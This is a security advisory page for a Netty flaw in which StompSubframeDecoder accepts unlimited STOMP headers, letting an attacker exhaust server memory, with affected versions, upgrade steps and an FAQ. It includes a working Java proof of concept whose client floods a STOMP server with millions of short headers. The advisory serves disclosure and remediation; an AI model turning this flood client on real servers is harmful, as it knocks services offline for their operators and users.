CVE-2026-44891: Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder

Published Jul 14, 2026
·
Updated

Summary The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.

Details io.netty.handler.codec.stomp.StompSubframeDecoder implements the STOMP protocol. The maxLineLength parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., a: 1\n), which are accumulated in memory inside the DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError.

PoC Run the server with -Xmx256m

java public final class ServerApp { public static void main(String[] args) throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { ChannelFuture serverFuture = new ServerBootstrap() .group(group) .channel(NioServerSocketChannel.class) .childHandler(new StompSubframeDecoder()) .bind(8080) .sync(); serverFuture.channel().closeFuture().sync(); } finally { group.shutdownGracefully(); } } }

java public final class ClientApp { public static void main(String[] args) throws Exception { try (Socket socket = new Socket("127.0.0.1", 8080)) { OutputStream out = socket.getOutputStream();

out.write("CONNECT\n".getBytes(StandardCharsets.UTF8));

StringBuilder sb = new StringBuilder(); for (int i = 0; i < 1000; i++) { sb.append("a:1\n"); } byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF8);

for (int i = 1; i <= 50000; i++) { out.write(bulkHeaders); } } catch (Exception e) { e.printStackTrace(); } } }

Impact Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.

Other sources

Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

MITRE

Affected Software

4 affected componentsFixes available
maven/io.netty:netty-codec-stomp<=4.1.135.Final
4.1.136.Final
maven/io.netty:netty-codec-stomp>=4.2.0.Alpha1<=4.2.15.Final
4.2.16.Final
Netty Netty<4.1.136
Netty Netty>=4.2.0<4.2.16

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty:netty-codec-stomp to a version that resolves this vulnerability.

    Fixed in 4.1.136.Final
  2. Upgrade

    Upgrade maven/io.netty:netty-codec-stomp to a version that resolves this vulnerability.

    Fixed in 4.2.16.Final
  3. Upgrade

    Upgrade io.netty.handler.codec.stomp.StompSubframeDecoder to a version that resolves this vulnerability.

    Fixed in 4.1.136.Final
  4. Upgrade

    Upgrade io.netty.handler.codec.stomp.StompSubframeDecoder to a version that resolves this vulnerability.

    Fixed in 4.2.16.Final

Event History

Jul 14, 2026
Advisory Published
via GitHub·08:16 PM
Data Sourced
via GitHub·08:16 PM
DescriptionSeverityWeaknessAffected Software
Jul 17, 2026
CVE Published
via MITRE·08:16 PM
Data Sourced
via MITRE·08:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is CVE-2026-44891?

CVE-2026-44891 is a high severity vulnerability in Netty's StompSubframeDecoder that can lead to Denial of Service due to unbounded headers.

2

What is the severity of CVE-2026-44891?

The severity of CVE-2026-44891 is rated as high, with a CVSS score of 7.5.

3

How do I fix CVE-2026-44891?

To fix CVE-2026-44891, you should update to the latest version of Netty that addresses the unbounded headers issue.

4

What types of attacks can exploit CVE-2026-44891?

CVE-2026-44891 can be exploited by an attacker to cause an OutOfMemoryError, resulting in a Denial of Service.

5

Which software is affected by CVE-2026-44891?

CVE-2026-44891 affects the Netty Codec Stomp module found in io.netty:netty-codec-stomp.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203